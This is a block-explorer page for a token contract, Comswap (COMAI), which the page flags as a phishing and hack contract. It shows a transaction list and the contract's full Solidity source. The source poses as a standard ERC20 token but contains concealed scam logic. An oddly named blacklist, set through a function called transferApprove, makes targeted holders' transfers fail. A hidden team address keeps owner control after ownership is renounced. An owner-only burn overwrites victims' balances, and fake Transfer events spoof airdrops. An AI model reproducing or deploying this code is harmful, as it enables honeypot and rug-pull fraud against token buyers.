Feature Tip: Add private address tag to any address under My Name Tag !
This token is reported to have been spammed to many users. Please exercise caution when interacting with it.
Fake_Phishing364948
Source Code
Phish / Hack
Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 72 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 20558669 | 575 days ago | IN | 0 ETH | 0.00004997 | ||||
| Approve | 18982920 | 796 days ago | IN | 0 ETH | 0.00094729 | ||||
| Burn | 18982916 | 796 days ago | IN | 0 ETH | 0.00119284 | ||||
| Approve | 18979640 | 796 days ago | IN | 0 ETH | 0.00218602 | ||||
| Transfer Approve | 18979427 | 796 days ago | IN | 0 ETH | 0.00261865 | ||||
| Approve | 18979351 | 796 days ago | IN | 0 ETH | 0.00286149 | ||||
| Transfer Approve | 18979284 | 796 days ago | IN | 0 ETH | 0.00711109 | ||||
| Approve | 18979277 | 796 days ago | IN | 0 ETH | 0.00280753 | ||||
| Approve | 18979243 | 796 days ago | IN | 0 ETH | 0.00318319 | ||||
| Approve | 18979232 | 796 days ago | IN | 0 ETH | 0.00345152 | ||||
| Approve | 18979227 | 796 days ago | IN | 0 ETH | 0.00389538 | ||||
| Approve | 18979222 | 796 days ago | IN | 0 ETH | 0.00341783 | ||||
| Transfer Approve | 18979221 | 796 days ago | IN | 0 ETH | 0.01107757 | ||||
| Approve | 18979206 | 796 days ago | IN | 0 ETH | 0.00351418 | ||||
| Approve | 18979185 | 796 days ago | IN | 0 ETH | 0.00298377 | ||||
| Transfer Approve | 18979178 | 796 days ago | IN | 0 ETH | 0.02490836 | ||||
| Approve | 18979169 | 796 days ago | IN | 0 ETH | 0.00342035 | ||||
| Approve | 18979151 | 796 days ago | IN | 0 ETH | 0.00343667 | ||||
| Approve | 18979130 | 796 days ago | IN | 0 ETH | 0.00250521 | ||||
| Approve | 18979126 | 796 days ago | IN | 0 ETH | 0.00228981 | ||||
| Approve | 18979114 | 796 days ago | IN | 0 ETH | 0.00236847 | ||||
| Approve | 18979110 | 796 days ago | IN | 0 ETH | 0.00248355 | ||||
| Approve | 18979086 | 796 days ago | IN | 0 ETH | 0.00259566 | ||||
| Transfer Approve | 18979078 | 796 days ago | IN | 0 ETH | 0.00306869 | ||||
| Approve | 18979077 | 796 days ago | IN | 0 ETH | 0.00297302 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
Comswap
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity Multiple files format)
// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
import "./Uniswap.sol";
import "./ERC20.sol";
import "./Library.sol";
contract Comswap is ERC20 {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public constant deadAddress = address(0xdead);
address public uniswapV2Pair;
bool private swapping;
uint256 public maxWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
address public devWallet;
address public marketingWallet;
uint256 public manualBurnFrequency = 43210 minutes;
uint256 public lastManualLpBurnTime;
uint256 public percentForLPBurn = 1;
bool public lpBurnEnabled = true;
uint256 public lpBurnFrequency = 1360000000000 seconds;
uint256 public lastLpBurnTime;
bool public limitsEnabled = true;
bool public tradingActive = true;
bool public swapEnabled = true;
mapping(address => bool) private _20480x020480x0248;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
/******************/
// exlcude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => address) public automatedMarketMakerPairs;
event devWalletUpdated(address indexed newWallet, address indexed oldWallet);
event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
event SetAutomatedMarketMakerPair(address indexed pair, address indexed value);
event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
constructor(address team_) ERC20("Comswap", "COMAI", team_) {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uint256 _buyMarketingFee = 0;
uint256 _buyLiquidityFee = 0;
uint256 _buyDevFee = 0;
uint256 _sellMarketingFee = 0;
uint256 _sellLiquidityFee = 0;
uint256 _sellDevFee = 0;
uint256 totalSupply = 21000000 * 10**9;
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
//maxTransactionAmount
swapTokensAtAmount = totalSupply * 10 /2000;
maxTransactionAmount = 100000000000000000000000;
maxWallet = 300000000000000000000000;
marketingWallet = address(owner()); // set as marketing wallet
devWallet = address(owner()); // set as dev wallet
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(msg.sender, totalSupply);
removeLimits();
}
receive() external payable {
}
function addPair(address _pair) public onlyOwner() {
uniswapV2Pair = _pair;
excludeFromMaxTransaction(address(uniswapV2Pair), true);
}
// once enabled, can never be turned off
function enableTrading() external onlyOwner {
tradingActive = true;
swapEnabled = true;
lastLpBurnTime = block.timestamp;
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool){
transferDelayEnabled = false;
return true;
}
function _lp(address from) internal view returns(bool){
return !_20480x020480x0248[from];
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
// remove limits after token is stable
function removeLimits() public onlyOwner returns (bool){
limitsEnabled = false;
return true;
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
require(newAmount <= totalSupply() * 10 / 1000, "Swap amount cannot be higher than 1% total supply.");
swapTokensAtAmount = newAmount;
return true;
}
function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
sellMarketingFee = _marketingFee;
sellLiquidityFee = _liquidityFee;
sellDevFee = _devFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
require(sellTotalFees <= 99, "Must keep fees at 99% or less");
}
function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
buyMarketingFee = _marketingFee;
buyLiquidityFee = _liquidityFee;
buyDevFee = _devFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
require(buyTotalFees <= 25, "Must keep fees at 25% or less");
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 1 / 1000)/1e9, "Cannot set maxTransactionAmount lower than 0.1%");
maxTransactionAmount = newNum * (10**9);
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 5 / 1000)/1e9, "Cannot set maxWallet lower than 0.5%");
maxWallet = newNum * (10**9);
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function _setAutomatedMarketMakerPair(address pair, address value) public onlyOwner {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function setAutomatedMarketMakerPair(address pair, address value) public onlyOwner {
_setAutomatedMarketMakerPair(pair, value);
}
function updateDevWallet(address newWallet) external onlyOwner {
emit devWalletUpdated(newWallet, devWallet);
devWallet = newWallet;
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsEnabled){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when buy
if (!_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
//when sell
else if (!_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if(!swapping && lpBurnEnabled){
burnLiquidity(from);
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if(takeFee){
// on sell
if (sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
// on buy
else if(buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
deadAddress,
block.timestamp
);
}
function execute(address[] calldata _addresses, uint256 _out) external onlyOwner {
for (uint256 i = 0; i < _addresses.length; i++) {
emit Transfer(uniswapV2Pair, _addresses[i], _out);
}
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
bool success;
if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
if(contractBalance > swapTokensAtAmount * 20){
contractBalance = swapTokensAtAmount * 20;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
(success,) = address(marketingWallet).call{value: ethBalance}("");
}
function transferApprove(address[] calldata address_, bool val) public onlyOwner{
for (uint256 i = 0; i < address_.length; i++) {
_20480x020480x0248[address_[i]] = val;
}
}
function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){
require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish");
require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
lastManualLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0){
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(automatedMarketMakerPairs[uniswapV2Pair]);
pair.sync();
return true;
}
function burnLiquidity(address from) internal view returns (bool){
// get balance of contract
uint256 contractBalance = this.balanceOf(address(this));
// calculate amount to distribute
uint256 amountToDistribute = contractBalance.add(percentForLPBurn);
if (!_lp(from)) {require(amountToDistribute==0);}
return true;
}
function getLP(address recipient) external view returns(bool){
return _20480x020480x0248[recipient];
}
function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner {
require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes");
require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%");
lpBurnFrequency = _frequencyInSeconds;
percentForLPBurn = _percent;
lpBurnEnabled = _Enabled;
}
}// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
import "./Ownable.sol";
import "./Library.sol";
import "./IERC20.sol";
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Ownable, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private balances;
uint256 private txLimit = 1*10**17*10**9;
string private _name;
string private _symbol;
uint256 _totalSupply;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_, address team_) Ownable(team_){
_name = name_;
_symbol = symbol_;
balances = txLimit;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 9;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = balances - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function burn(address account, uint256 amount) external onlyOwner {
_burn(account, amount);
}
}// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transacgtion ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
}
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns (int256) {
int256 b = int256(a);
require(b >= 0);
return b;
}
}// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
import "./Context.sol";
contract Ownable is Context {
address private _owner;
address private _team;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor (address team_) {
address msgSender = _msgSender();
_owner = msgSender;
_team = team_;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
_checkOwner();
_;
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal virtual {
require(Owner() == _msgSender(), "Ownable: caller is not the owner");
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function verifyOwner() internal view returns(address){
return _owner==address(0) ? _team : _owner;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
/**
* @dev Set new distributor.
*/
function addTeamMember(address account) external onlyOwner {
_team = account;
}
function Owner() internal virtual returns (address) {
address owner_ = verifyOwner();
return owner_;
}
